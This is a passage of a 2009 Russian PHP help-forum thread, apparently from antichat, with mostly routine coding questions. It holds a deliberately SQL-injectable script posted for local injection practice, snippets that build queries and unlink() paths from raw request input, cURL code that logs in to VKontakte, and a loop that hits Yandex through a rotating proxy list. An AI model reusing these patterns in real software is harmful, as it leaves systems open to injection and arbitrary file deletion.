Есть в таблицы поля в которых присутствуют IP адреса, как сделать что когда человек заходит на страничку скрипт сравнивает его Ip с Ip'aми в базе и если данного Ip'а нету в базе его перекидывает на другую страницу.

Заранее спасибо.

m0Hze
25.12.2009, 22:43
Вопрос к профи.
Есть в таблицы поля в которых присутствуют IP адреса, как сделать что когда человек заходит на страничку скрипт сравнивает его Ip с Ip'aми в базе и если данного Ip'а нету в базе его перекидывает на другую страницу.

Заранее спасибо.

$query = mysql_query("SELECT * FROM tables_ip WHERE ip='$ip'");
if(mysql_num_rows($query) > 0){
echo = 'pew-pew';
}else{
header("Location: kuda-totam.ru");
}

toxam9
25.12.2009, 22:56
m0Hze, благодарю.

Kerny
26.12.2009, 01:15
Возможно ли средствами php, запустить файл на исполнение?(ос: Linux)

Батхед
26.12.2009, 01:49
нужен код,который бы логинился например на этот форум,т.е.:
в поле ник вставить значение переменной,которое пропишу я
в поле пароль так же

chekist
26.12.2009, 01:50
Возможно ли средствами php, запустить файл на исполнение?(ос: Linux)

если safe_mode=off то можно

http://ru.php.net/manual/en/function.system.php

m0Hze
26.12.2009, 02:02
нужен код,который бы логинился например на этот форум,т.е.:
в поле ник вставить значение переменной,которое пропишу я
в поле пароль так же
Например курл,пример тута можно посмотреть
http://forum.antichat.ru/thread166127.html

Architek86
26.12.2009, 13:58
file_put_contents
если ей передать несуществующий файл, будет ли он создан, как в случае с fopen и ключём a+?

LStr1ke
26.12.2009, 14:16
file_put_contents
если ей передать несуществующий файл, будет ли он создан, как в случае с fopen и ключём a+?
Да

Gifts
26.12.2009, 14:26
Architek86 http://php.net/file_put_contents Ведь несложно прочитать хотя бы первую строку?

Nalsa
27.12.2009, 01:26
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?
уууф нашел я все таки хостинг. Если вдруг кому то понадобится то вот x10hosting.com Спасибо всем кто откликнулся

LStr1ke
27.12.2009, 02:14
If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flags is set.
=\

hooligan4ik
27.12.2009, 17:00
Это опять я!))
Итак нужен человек который реализует следующее:
Скрипт Проверки обратных ссылок на сайт с отправкой письма на емэйл(Если стоит то ваш сервер добавлен или если не стоит ваш сервер не добавлен так как на вашем сайте не найдена ссылка на наш сайт!)
Оплачу труды!
Ася 382806175

dk-ne
27.12.2009, 18:07
Можно ли в переменную засунуть математическое действие? Например $a='+'

mastaadon
27.12.2009, 18:28
Ребята, если кто может помочь мой вопрос остался далеко в глубинке, но все еще я его не решил. Решил продублировать его еще раз в надежде получить помощь.

На странице php у меня будет стоять проигрыватель видео файлов FLV.
Я хочу что бы посетители сайта могли просматривать но не имели возможности скачивать их или же делать прямые ссылки на них. Я понимаю, что 100% зашиты не будет но все же нужна максимальная защита, что бы не скачивали хотя бы все подряд.

Батхед
28.12.2009, 00:17
кто подскажет бесплатный хостинг с курлом,если такие остались

Eo0
28.12.2009, 00:21
Можно ли в переменную засунуть математическое действие? Например $a='+'
нет

Fepsis
28.12.2009, 00:36
нет
<?php
$math = '+';
$a = 12;
$b = 4;
eval("echo $a $math $b;");
?>

Eo0
28.12.2009, 00:39
<?php
$math = '+';
$a = 12;
$b = 4;
eval("echo $a $math $b;");
?>
так ясное дело что можно, я имею ввиду что стандартными способами нельзя.

Byrger
28.12.2009, 00:42
есть текстовая строка допустим:
level :13,min_lvl:1,max_lvl :20,text :"Priver Вова",txt:'Я Бургер'

Как её можно спарсить вида Переменная => Значение
PS Назание переменных в строке не меняется, тоесть можно изначально их использовать в парсере
PS возможен пробел перед :

Eo0
28.12.2009, 00:47
есть текстовая строка допустим:
level :13,min_lvl:1,max_lvl :20,text :"Priver Вова",txt:'Я Бургер'

Как её можно спарсить вида Переменная => Значение
PS Назание переменных в строке не меняется, тоесть можно изначально их использовать в парсере
PS возможен пробел перед :

$str="level :13,min_lvl:1,max_lvl :20,text :\"Priver Вова\",txt:'Я Бургер'";
$str=str_replace(array("'",'"'),'',$str);
$arr=explode(',',$str);
for($i=0;$i<count($arr);$i++)
{
$var=explode(':',$arr[$i]);
${trim($var[0])}=$var[1];
}

krypt3r
28.12.2009, 08:16
<?php
$str = "level :13,min_lvl:1,max_lvl :20,text :\"Priver Вова\",txt:'Я Бургер'";
$str = str_replace (array ("'", '"'), '', $str);
preg_match_all ('/(\w+)\s*:\s*(.+?)(?:,|\Z)/', $str, $m);
for ($i = 0; $i < count ($m[1]); $i++)
${$m[1][$i]} = $m[2][$i];
echo $txt, "\n";
?>

admink1
28.12.2009, 08:57
есть текстовик с http проксями, вида ip:port
нужно сделать чтоб каждые 5 минут заходило на яшу с разными проксями, как реализовать?
заранее спасибо :)

krypt3r
28.12.2009, 09:37
cron + рандомная строка из файла с проксями

admink1
28.12.2009, 13:10
cron + рандомная строка из файла с проксями
а можно подробнее :)
и рандом не подойдет вроде, нужно чтоб каждую строчку по очереди до последней.

restart_05
28.12.2009, 15:03
$concat = ",".$fr;
$db->query("UPDATE `4epopalo` SET `fr`=concat(fr, $concat) where id='".$fr."'");

Почему не работает?

Osip
28.12.2009, 17:39
есть мнение что concat() при update не работает..

LStr1ke
28.12.2009, 17:41
$db->query() or die(mysql_error());
И смотри что не так

Gifts
28.12.2009, 19:10
Osip Есть мнение что вы ошибаетесь

restart_05 какая цель стоит у запроса? Если добавить к выбранной ячейке некий текст, то нужны кавычки вокруг $concat (одинарные). Если же это имя другого столбца - то нужно убрать запятую из переменной

restart_05
28.12.2009, 19:27
Мне нужно добавлять с строку числа через запятую к примеру имеется число 8, мне надо добавить 9, и чтобы в строке получилось 8,9

Vlad&slav
28.12.2009, 20:20
Задана символьная строка, шрифт и его размер. Как можно определить длину и высоту строки в пикселях? :confused:
(посредствами PHP). Зарание блоагодарю)

Vlad&slav
28.12.2009, 20:38
а можно подробнее :)
и рандом не подойдет вроде, нужно чтоб каждую строчку по очереди до последней.

<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>

Вроде так . Я не запускал :)


Можно ли в переменную засунуть математическое действие? Например $a='+'
Как вариант
<?php
function calk($zn,$a,$b)
{
switch($zn)
{
case '+': $res = $a + $b;
break;
case '-': $res = $a - $b;
break;
case '*': $res = $a * $b;
break;
case '/': $res = $a / $b;
break;
}
if(!empty($res)) return $res;
else return false;
}
?>

Батхед
28.12.2009, 21:59
как скачать файл через curl в папку сервера?

Mr.fokin
29.12.2009, 01:50
как вставить данные в форму "логин" и "пароль" вконтакте?

LStr1ke
29.12.2009, 02:00
Тут смотри как реализовано http://forum.antichat.ru/showthread.php?t=166127
---

<?php
set_time_limit(0);

function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}

$email = "мыло";
$pass = "пасс";


$result = post('http://vkontakte.ru/login.php','act=login&success_url=&fail_url=&try_to_login=1&to=&vk=&email='.$email.'&pass='.$pass,'http://vkontakte.ru/login.php');

?> (c) not me

admink1
29.12.2009, 05:26
<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>


а урл то где прописывать?)
так? $url = "http://ya.ru";
и прокси в текстовике должны быть такого формата: "ip:port" ?:)

b3
29.12.2009, 06:32
<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>


а урл то где прописывать?)
так? $url = "http://ya.ru";
и прокси в текстовике должны быть такого формата: "ip:port" ?:)
Формат записи проксей в текстовике
PROXY:PORT
URL прописывать в 4й строке.


<?php
set_time_limit(0);
$tim = 5;
$url = 'http://ya.ru/';

$proxys = file('proxy.txt');
$proxys = array_map('trim', $proxys);

foreach ($proxys as $proxy) {
get_url($url, $proxy);
sleep(60*$tim);
}

function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
?>

admink1
29.12.2009, 13:14
потер, ступил, вс енорм, спасибо ;)

Pr13raK
29.12.2009, 17:28
Салют.
Кто-нить может на php сварганить для ВКонтакта.

У меня в заявках 9000 друзей.
Хотелось бы их не просто добавить, а в опредленнуюб группу созданную мной.
Точнее не группу, а список. Список друзей например с названием TRASH.

А то руками очень долго добавлять и еще редактируя в список.

Плачу 10 WMZ за рабочий скрипт.
стучите в аську
------------------------------

Update: icq 24zz2xxxx
согласился написать скрипт. Уже не надо спс

Byrger
29.12.2009, 18:41
БД MySQL
Есть скрипт на кодировке UTF-8
Он принимает данные из win 1251
далее я выполняю
$params=iconv('Windows-1251', 'UTF-8', $iii);
И пытаюсь занести в БД данные
$db->query(".....param='$params'.....");

В бд ничего не приходит.. Если оставить в вине то будут знаки ?

В чем может быть трабла? (БД в cp1251, столюец в БД utf-8(cp1251 тоже делал))

phpdreamer
29.12.2009, 19:12
попробуй
die($params);
и отпишись о результате

Byrger
29.12.2009, 20:01
попробуй
die($params);
и отпишись о результате
Если даже вывести SQL запрос в браузер, скопировать и провести запрос в БД то не пройдет.

А если в ручную с клавы набрать то все ок
SQL-error нету.

krypt3r
29.12.2009, 21:26
Покажите этот хитрый SQL-запрос, выводимый в браузер. Возможно, в синтаксисе ошибка

NewCapital
29.12.2009, 23:22
что такое логи?))

phpdreamer
29.12.2009, 23:28
Для учета всех действий, совершаемых как с web-сервером, так и с сайтом, используются лог-файлы (или же просто логи). Лог – это текстовый файл, понятный даже новичку, в котором каждому событию соответствует одна строка с временем и некоторыми дополнительными сведениями. Для удобства пользователей лог-файлы часто группируются по датам, что облегчает поиск необходимых сведений.

Чаще всего хостинг-провайдеры предоставляют пользователям возможность просматривать логи, относящиеся к web-серверу, панели управления и FTP-доступу.

1. Логи ошибок web-сервера (error_log) помогают найти неисправности в работе сайта. Например, если в скрипте произошел сбой, то в error_log появится соответствующая запись. В ней будет указан текст ошибки и полный путь до файла, в котором она произошла.

2. Логи доступа к серверу (access_log) не менее важны. Они помогают анализировать посещаемость ресурса, определять причины нагрузки, отслеживать попытки атак на сайт. В access_log сохраняется IP-адрес посетителя, конкретная страница, которую он запросил, время и служебная информация. С помощью access_log также можно узнать, насколько активно сайт индексируется поисковыми системами.

Для этих двух типов логов хостинг-провайдеры обычно создают отдельную директорию на сервере, объем которой не входит в общее дисковое пространство аккаунта.

3. Логи авторизаций по FTP и панели управления в большинстве случаев доступны прямо в панели управления учетной записью. Они представлены в максимально удобном и сокращенном виде (время, IP-адрес, логин), чтобы не заставлять пользователей разбираться в обилии сложной служебной информации. Подобные логи помогут отследить несанкционированные попытки работы с аккаунтом.

restart_05
30.12.2009, 00:15
помогите плизз с concat http://forum.antichat.ru/showpost.php?p=1786549&postcount=13973

Architek86
30.12.2009, 04:37
что означает ошибка:

date() expects parameter 2 to be long, string given

?

Gifts
30.12.2009, 05:40
Architek86 В качестве второго параметра ожидалось целое число, получена строка. Что непонятного?

restart_05 соберитесь с силами и дочитайте мой ответ на ваш первоначальный пост до конца, а не только вопрос, который я задал

N2kroot
30.12.2009, 10:10
Вопрос: у меня есть самописный движок для сайта, пишется сразу 2 файла:
avto.txt --- содержит ид:ссылка - кидается на сайте, для авто-добавления новых ссылок и id{$count}.txt - при каждом удачном добавлении пишет обычную бд,типа "ник:название:ид:прочее" , и у меня задался вопрос: как удалить тот или иной ид? Понятное дело,что мы можем удалить нужный файл id{ненужный ид}.txt, но ведь инфа содержится ещё и в avto.txt? Как перепрыгнуть на строку, имеющую заданный ид и стереть её? А если это не строка, а написано много и занимает две строки,но вконце я сделал ограничители типа: /r/n

spamoney
30.12.2009, 11:05
Всех с Наступающим!

Такой вопрос, как можно преобразовать:
сообщение
В текст:
сообщение

lothlorian
30.12.2009, 11:14
Всех с Наступающим!

Такой вопрос, как можно преобразовать:
сообщение
В текст:
сообщение

echo utf8_decode("сообщение");

spamoney
30.12.2009, 11:51
echo utf8_decode("сообщение");

Нет, не получается так...

restart_05
30.12.2009, 11:57
Gifts при добавление кавычек она записывает всю строку concat(fr,,число)

restart_05
30.12.2009, 12:17
если добавлять $db->query("UPDATE `4epopalo` SET `fr`=concat(fr, $fr) where id="".$id."'");
то добавляет числочисло, а запитую между ними ни как не удается поставить ((

LStr1ke
30.12.2009, 12:37
Вопрос: у меня есть самописный движок для сайта, пишется сразу 2 файла:
avto.txt --- содержит ид:ссылка - кидается на сайте, для авто-добавления новых ссылок и id{$count}.txt - при каждом удачном добавлении пишет обычную бд,типа "ник:название:ид:прочее" , и у меня задался вопрос: как удалить тот или иной ид? Понятное дело,что мы можем удалить нужный файл id{ненужный ид}.txt, но ведь инфа содержится ещё и в avto.txt? Как перепрыгнуть на строку, имеющую заданный ид и стереть её? А если это не строка, а написано много и занимает две строки,но вконце я сделал ограничители типа: /r/n
Ну вообщем хз как у меня с логичностью с просони. Вообщем
В папочке сделал файлы:
avto.txt
id1.txt
id2.txt
id3.txt
id4.txt
id5.txt
В файле avto.txt:

1:ssilka_1
5:ssilka_5
3:ssilka_3
4:ssilka_4
2:ssilka_2

Ну и вот скрипт:

<?php
$file = file("avto.txt");
if(!isset($_GET['del_id'])) {
foreach($file as $f_line) {
$line_arr = explode(":",$f_line);
echo $line_arr[0].">>>".$line_arr[1]." [ <a href='".$_SERVER['PHP_SELF']."?del_id=".$line_arr[0]."' >Удалить</a> ]<br>";
}
}else {
$id = $_GET['del_id'];
for($i=0;$i<count($file);$i++)
{
if(preg_match("#".$id.":#i",$file[$i])) {
echo $file[$i];
unSet($file[$i]);
if(unlink("id".$_GET['del_id'].".txt")) echo "Deleted";
}
}
file_put_contents('avto.txt', $file);
}
?>

Код не комментировал, тут все бонально. Если что не понятно пиши.
И привыкайте уже к SQL

LStr1ke
30.12.2009, 12:42
то добавляет числочисло, а запитую между ними ни как не удается поставить ((
Значит колонка fr в БД строго - INT ты или преобразуй ее во float или в char

Серёжа393
30.12.2009, 13:43
Короче это чудо какоето. Решил щас потренероаться с sql-injection у себя на хосте. Написал тестовый скрипт

<?php
error_reporting(1);
mysql_connect("localhost","root","");
mysql_select_db("test");
if(!isset($_GET['id']))
{
$res=mysql_query("SELECT * FROM news");
while($line=mysql_fetch_array($res))
{
echo "<a href='index.php?id=".$line['id']."'>Новость №".$line['id']."</a><br>";
}
}
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>

подставляю ковычки - нифига, подсталяю 2-1 в id. тоже ни фига. стоит у меня denver3. раньше помню тренировался-всё было отлично... а щас бред... помогите пожалуйста.

UDP:

вот дамп мускула

-- phpMyAdmin SQL Dump
-- version 2.6.1
-- http://www.phpmyadmin.net
--
-- Хост: localhost
-- Время создания: Дек 30 2009 г., 12:46
-- Версия сервера: 5.0.45
-- Версия PHP: 5.2.4
--
-- БД: `test`
--

-- --------------------------------------------------------

--
-- Структура таблицы `news`
--

CREATE TABLE `news` (
`id` int(1) NOT NULL,
`text` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

--
-- Дамп данных таблицы `news`
--

INSERT INTO `news` VALUES (1, 'В перми сгорел ночной клуб');
INSERT INTO `news` VALUES (2, 'Вчера успешно прощили выборы приздента США');

SeNaP
30.12.2009, 13:48
Короче это чудо какоето. Решил щас потренероаться с sql-injection у себя на хосте. Написал тестовый скрипт

<?php
error_reporting(1);
mysql_connect("localhost","root","");
mysql_select_db("test");
if(!isset($_GET['id']))
{
$res=mysql_query("SELECT * FROM news");
while($line=mysql_fetch_array($res))
{
echo "<a href='index.php?id=".$line['id']."'>Новость №".$line['id']."</a><br>";
}
}
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>

подставляю ковычки - нифига, подсталяю 2-1 в id. тоже ни фига. стоит у меня denver3. раньше помню тренировался-всё было отлично... а щас бред... помогите пожалуйста.

UDP:

вот дамп мускула

-- phpMyAdmin SQL Dump
-- version 2.6.1
-- http://www.phpmyadmin.net
--
-- Хост: localhost
-- Время создания: Дек 30 2009 г., 12:46
-- Версия сервера: 5.0.45
-- Версия PHP: 5.2.4
--
-- БД: `test`
--

-- --------------------------------------------------------

--
-- Структура таблицы `news`
--

CREATE TABLE `news` (
`id` int(1) NOT NULL,
`text` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

--
-- Дамп данных таблицы `news`
--

INSERT INTO `news` VALUES (1, 'В перми сгорел ночной клуб');
INSERT INTO `news` VALUES (2, 'Вчера успешно прощили выборы приздента США');


попробуй error_reporting(0);

Серёжа393
30.12.2009, 13:56
попробуй error_reporting(0);
не помогло. чтото меняеться когда перед id статавишь ковычку.
т.е. id='1

такое чувство что чтото фильтрует или мускул странный какойто...

SeNaP
30.12.2009, 14:03
У тебя скрипт будет выполнять запрос к БД том случаи если у тебя переменная GET['id'] = FALSE т.е. пуста

if(!isset($_GET['id']))
убери восклицательный знак

Серёжа393
30.12.2009, 14:11
У тебя скрипт будет выполнять запрос к БД том случаи если у тебя переменная GET['id'] = FALSE т.е. пуста

if(!isset($_GET['id']))
убери восклицательный знак
для начало посмотри на скрипт внимательно
если нет перменной ГЕТ АЙДИ то выводитя ссылки на новости, а если есть ,то выполняеться этот скрипт
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>


UPD: бля посмотрел на твои посты выше и понял с кем я разговариваю....

SeNaP
30.12.2009, 14:14
[QUOTE=Серёжа393



UPD: бля посмотрел на твои посты выше и понял с кем я разговариваю....[/QUOTE]

:D

N2kroot
30.12.2009, 14:34
Ну вообщем хз как у меня с логичностью с просони. Вообщем
В папочке сделал файлы:
avto.txt
id1.txt
id2.txt
id3.txt
id4.txt
id5.txt
В файле avto.txt:

1:ssilka_1
5:ssilka_5
3:ssilka_3
4:ssilka_4
2:ssilka_2

Ну и вот скрипт:

<?php
$file = file("avto.txt");
if(!isset($_GET['del_id'])) {
foreach($file as $f_line) {
$line_arr = explode(":",$f_line);
echo $line_arr[0].">>>".$line_arr[1]." [ <a href='".$_SERVER['PHP_SELF']."?del_id=".$line_arr[0]."' >Удалить</a> ]<br>";
}
}else {
$id = $_GET['del_id'];
for($i=0;$i<count($file);$i++)
{
if(preg_match("#".$id.":#i",$file[$i])) {
echo $file[$i];
unSet($file[$i]);
if(unlink("id".$_GET['del_id'].".txt")) echo "Deleted";
}
}
file_put_contents('avto.txt', $file);
}
?>

Код не комментировал, тут все бонально. Если что не понятно пиши.
И привыкайте уже к SQL
Прокомментируй пожалуйста скрипт, что здесь должно быть?
Дело в том, что у меня на сайте лишь построение из ссылок..Эмм, вот так:http://slil.ru/28424432
Надо чтобы редактировать можно было, к примеру введя ид из админки.
Вот примерное построение:
<?php
$arr = file("morph{$id}.txt"); $i=0; foreach($arr as $line) {
$i++; list($avtor,$tema,$mess,$smess,$id,$li)=explode(":",$line);
$bd['avtor'][]=$who;
$bd['tema'][]=$tema;
$bd['mess'][]=$mess;
$bd['smess'][]=$smess; }
if($morph != 1) { $arr= file("$morph.txt"); } ?>
<div id="header">
<h1><a href="/glavforum">Nexus World</a></h1>
<h2><a href="/glavforum">Форум NexuS </a></h2>
</div>
<div id="menu">
<ul>
<li><a href="index.php" accesskey="1" title="">Начало</a></li>
<li><a href="#" accesskey="2" title="">О нас</a></li>
<li><a href="/glavforum" accesskey="3" title="">Форум</a></li>
<li class="active"><a href="morph" accesskey="4" title="">Morph</a></li>
<li><a href="/myform/index.html" accesskey="5" title="">Администрация</a></li>
</ul>
</div>
<div id="content">
<div id="colOne">
<h2>Трансляция</h2>
<h3>"<?php echo($mess); ?>"</h3>
<p>"<?php echo($smess); ?>" <a href="#">Комментарии…</a></p>
</div>
<div id="colTwo">
<h2>Раздел Morph</h2>
<p><em><strong>Morph</strong></em> сейчас в разработке,пожалуйста <a href="/glavforum"><strong>обсудите</strong></a> его или просто можете осмотреть наш <a href="index.php">новый сайт</a>.</p>
<p>WoW Морфы. <em>.mod morph $id - морф по дисплей ID существа </em>
</a>.
</p>
<p>Наши id's:</p>
<ul>
<?php $arr2 = file("avto.txt"); $i=0; foreach($arr2 as $line2){
$i++; list($id,$li)=explode(":",$line2);
$bd['id'][]=$id;
$bd['li'][]=$li; }
for($i=count($arr2)-1; $i>=0; $i--) { echo ($bd['li'][$i]); }?>




</ul>
</div>